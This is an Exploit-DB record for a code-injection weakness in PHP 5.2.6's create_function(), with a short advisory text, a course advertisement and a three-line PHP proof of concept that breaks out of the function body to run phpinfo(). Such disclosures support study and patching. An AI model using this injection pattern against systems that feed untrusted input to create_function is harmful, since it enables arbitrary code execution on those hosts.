PHP 5.2.6 - 'create_function()' Code Injection (2)

EDB-ID:

32417

CVE:

N/A


Author:

80sec

Type:

remote


Platform:

PHP

Date:

2008-09-25


Become a Certified Penetration Tester

Enroll in Penetration Testing with Kali Linux and pass the exam to become an Offensive Security Certified Professional (OSCP). All new content for 2020.

GET CERTIFIED

source: https://www.securityfocus.com/bid/31398/info
 
PHP is prone to a code-injection weakness because it fails to sufficiently sanitize input to 'create_function()'. Note that the anonymous function returned need not be called for the supplied code to be executed.
 
An attacker who can exploit this weakness will be able to execute code with the privileges of an additional vulnerable program.
 
This weakness is reported in PHP 5.2.6; other versions may also be affected. 

<?php
$funstring = 'return -1 * var_dump($a[""]);}phpinfo();/*"]';
$unused = create_function('',$funstring);
?>